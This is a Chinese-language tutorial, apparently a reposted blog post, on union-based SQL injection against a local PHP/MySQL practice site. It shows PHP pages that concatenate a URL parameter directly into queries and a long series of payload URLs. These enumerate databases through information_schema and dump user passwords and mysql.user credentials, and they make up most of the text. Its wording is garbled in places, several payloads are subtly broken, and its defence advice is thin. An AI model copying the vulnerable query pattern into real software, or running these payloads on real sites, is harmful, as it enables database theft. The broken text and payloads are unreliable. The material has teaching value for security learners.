一、查询注入的数据范例
- //list.php
- <!DOCTYPE html>
- <html lang="en">
- <head>
- <meta charset="UTF-8">
- <meta http-equiv="X-UA-Compatiable" content="IE=edge">
- <meta name="viewport" content="width=device-width,initial-sacle=1.0">
- <title>文章列表</title>
- <style>
- table{
- width : 800px;
- margin : auto;
- border : solid 1px gray;
- border-spacing: 0px;
- }
- td{
- border : solid 1px gray;
- height : 40px;
- }
- </style>
- <script>
- function doDelete(articleid){
- if(!window.confirm("你确定要删除该文章吗?")){
- return false;
- }
- //window.alert(articleid);
- $.post('delete.php','articleid='+articleid,function(data){
- if(data == 'delete-ok'){
- window.alert('删除成功');
- //location.href = "list.php";
- location.reload(); //刷新当前页面
- }
- else{
- window.alert('删除失败' + data);
- }
- });
- }
- </script>
- </head>
- <body>
- <table>
- <tr>
- <td>编号</td>
- <td>作者</td>
- <td>标题</td>
- <td>次数</td>
- <td>时间</td>
- <td>操作</td>
- </tr>
- <?php
- include "commond.php";
- if(!isset($_SESSION['islogin']) || $_SESSION['islogin'] != 'true'){
- die("请先登录.<a href='login.html'>点此登录</a>");
- }
- $conn = creat_connection();
- $sql = "select articleid,author,headline,viewcount,creattime from learn3";
- $result = mysqli_query($conn,$sql);
- //将数据库查询的结果集中的数据取出,保存到一个数组中
- $rows = mysqli_fetch_all($result);
- //遍历结果集数据并在表格中展示
- foreach($rows as $row){
- echo '<tr>';
- echo '<td>' . $row[0] . '</td>';
- echo '<td>' . $row[1] . '</td>';
- echo '<td><a href="read.php?id=' . $row[0] . '">' . $row[2] . '</a></td>';
- echo '<td>' . $row[3] . '</td>';
- echo '<td>' . $row[4] . '</td>';
- //echo '<td><button onclick="doDelete('.$row[0].')">删除</button></td>';
- echo '<td><button onclick="doDelete('.$row[0].')">删除</button><button>编辑</button></td>';
- echo '</tr>';
- }
- mysqli_close($conn);
- ?>
-
- </table>
- </body>
- </html>
复制代码- //read.php
- <!DOCTYPE html>
- <html lang="en">
- <head>
- <meta charset="UTF-8">
- <meta http-equiv="X-UA-Compatiable" content="IE=edge">
- <meta name="viewport" content="width=device-width,initial-sacle=1.0">
- <title>Document</title>
- <style>
- div{
- width:800px;
- margin:auto;
- height:60px;
- }
- </style>
- </head>
- <body>
- <?php
- include "commond.php";
- if(!isset($_SESSION['islogin']) || $_SESSION['islogin'] != 'true'){
- die("请先登录.<a href='login.html'>点此登录</a>");
- }
- $conn = creat_connection();
-
- $id = $_GET['id'];
- $sql = "select * from learn3 where articleid=$id";
- $result = mysqli_query($conn,$sql);
-
- $article = mysqli_fetch_assoc($result); //读取结果集中的第一行数据,并用关联数组表示
- ?>
- <div><?=$article['headline']?></div>
- <div><hr></div>
- <div><?=$article['content']?></div>
- </body>
- </html>
复制代码 注入点根据可控参数的数据范例不同,可分为3类,分别是:
1、数字型
- select * from tables where id = 1;
复制代码 2、字符型
- select * from tables where username = 'woniu';
复制代码 3、搜索型
- select * from tables where id like '%woniu%';
复制代码 4、注释方式
数据范例不同,在注入的payload中会有大小不同,主要就是考察队字符语法规则的理解和注释的运用
二、注入步调
1、通过and 1=1,and 1=2的输入,来判断是否存在注入点。如果结果不同等,说明我们输入的语句被数据库执行了
2、通过观察或报错信息来判定输入点的数据范例,数字型,字符型,搜索型
3、使用order by来确定主查询数目,order by本质上是一个排序的语法,但是order by有个条件,就是排序必须建立在精确的主查询条数上。以是在注入中用order by并不是为了排序,而是为了确认主查询的条数,确保union select的查询数与主查询同等。order by只会超出主查询列数后才会报错,小于或等于主查询列数不会报错
- http://localhost/security/read.php?id=1 order by 6
- http://localhost/security/read.php?id=-1 union select 1,2,3,4,5,6
复制代码
4、使用union select查询,将主查询改为负数大概不存在
- union联合查询的前提:列数相等
- select * from tables where id = -1 union select 1,2,3,4,5,6...
- 如果不知道列数的情况下,可以通过猜测的方式来使用 select * from 表名,通常
- 表名起的是有意义的,所以猜测正确的概率是有的。如果表名猜测错误,是会出现错误信息
- 或者查询不出结果。那么只要能查询出结果,则说明表名是正确的,且*的列数也是正确的
- 在能够回显的基础上,则可以做任意MySQL支持的查询,包括各种SQL语句和内置变量或函数的应用
复制代码 5、在表现的数字位置上,替换对应的查询语句,database(),version(),user()
- http://localhost/security/read.php?id=-1 union select 1,2,3,4,5,6 from learn3
- 将articleid改为-1的话,3和4就代表了headline和content
- #还可以直接查询数据表的内容,进而实现拖库(脱裤)以下查询的前提是需要知道表名和列名
- http://localhost/security/read.php?id=-1 union select 1,2,3,(select password from learn2 limit 0,1),5,6
- limit 0,1的意思是从第0个开始往后取一个
- 通过concat()进行字符串拼接,可以一次性直接获取一行数据,而不用分列获取
- http://localhost/security/read.php?id=-1 union select 1,2,3,(select concat(userid,'==',username,'==',password) from learn2 limit 1,1),5,6
复制代码
- http://localhost/security/read.php?id=-1 union select 1,2,user(),database(),5,6 from learn3
复制代码
6、使用information_schema举行全部内容查询,得知库名后首先查询表:
- select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA = "库名"
复制代码 7、根据库名和表名查出全部的列名
- select group_concat(column_name) from information_schema.columns where table_schema = "库名" and table_name = "表名"
- http://localhost/security/read.php?id=-1%20union%20select%201,2,3,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27learn%27%20limit%201,1),5,6
- http://localhost/security/read.php?id=-1%20union%20select%201,2,3,(select%20group_concat(columns_name)%20from%20information_schema.columns%20where%20table_schema=%27learn%27%20limit%201,1),5,6
复制代码 8、知道表名和列名,可以直接查出表的内容
- select group_comcat(列名) from "表名";
复制代码 9、使用concat连接列值,可以一次性取出很多列
- select concat(username,"==",password,"==",role) as userinfo from user
复制代码 10、如果查出多列,只能表现一列,则可以使用limit
- select * from user limit 0,1 或 limit 8,1 等
- 或
- select 1,2,table_name,4,5,6 from information_schema,tables where table_schema='learn' limit 1,1
复制代码 三、进阶用法
1、使用concat_ws指定分隔符,比concat更加方便
- select concat_ws('==',username,password,role) as userinfo from user
复制代码 2、使用group_concat和concat_ws连用
- select * from article where articleid=-1 union select 1,2,
- (select group_concat(table_name) from information_schema.tables where table_schema='learn'),
- (select group_concat(concat_ws('==',username,password,role)) from user),5,6
- /security/read.php?id=-1 union select 1,2,3(select group_concat(concat_ws('==',User,Password,Host)) from mysql.user),5,6
- /security/read.php?id=-1 union select 1,2,3,(select group_concat(concat_ws('==',articleid,headline,viewcount)) from learn3),5,6
- 一次性完整取得数据库中的数据,再利用Python进行字符串切分,即可还原为二维表。
- #如果数据量庞大,则可以分批次进行
- /security/read.php?id=-1 union select 1,2,3,(select group_concat(concat_ws('==',articleid,headline,viewcount)) from learn3 where articleid between 5 and 10),5,6
复制代码
3、使用十六进制代替单引号
- 在MySQL中将字符串转换为16进制:select hex('learn'),将十六进制转回字符串:unhex('6C6561726E')
- where table_schema=0x6C6561726E and table_name=0x75736572 limit 0,1
- /security/read.php?id=-1 union select 1,2,3,(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA = '0x6C6561726E'),5,6
复制代码 4、浏览全部数据库
- /security/read/php?id=-1 union select 1,2,3(select group_concat(distinct(table_schema)) from
- information_schema.tables),5,6
- information_schema,learn.mysql,performance_schema,phpadmin,xindai,zabbix 发现存在phpadmin数据库
- 尝试访问:/phpadmin,如果使用的认证方式有:config,则直接进入后台,如果使用认证方式为:http,则可以爆破,所以最好的方式是不要开启PHPMyAdmin,或者
- 在需要的时候开启远程访问
复制代码
5、针对非数字型的查询毛病
- /security/read.php?id=-2' union select 1,2,3,(select group_concat(username) from user),5,6 %23'
- /security/read.php?id=-2' union select 1,2,3,(select group_concat(username) from user),5,6 --+'
- select * from learn3 where content like '%页面%';
- select * from learn3 where content like '%页面%'-- '%';
- select * from learn3 where content like '%页面%'#'%';
复制代码 上述查询主要针对MySQL数据库,如果针对Oracle数据库,需要学习Oracle的语法,如果是SQLServer等其他数据库,也一样。
上述注入均是GET请求,针对POST请求是完全一样的用法,只是将Payload移到Post请求的正文当中即可。
首先访问localhost/security/read.php?id=1,出现如果所示的响应:
但凡出现上述URL地址的格式,大概率会有SQL注入毛病,修改?id的值
然后尝试?id=1 and 1=1 和?id=1 and 1=2
id = 1 and 1=2 无法查询到内容,?id = 1 and 1=1 可以查询到内容
说明在这个地方有注入
四、Union查询注入不适用的地方
1、注入语句无法截断,且不清晰完整的SQL查询语句
2、页面不能返回查询信息的时候
3、Web页面中有两个SQL查询语句,查询语句的列数不同
五、防护方法
1、添加addslashes
2、将id类数字型参数转换为整数
3、判断参数的长度,通常一个ID不会太长
4、对输入举行过滤,如information_schema,union,order by,逗号等等
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |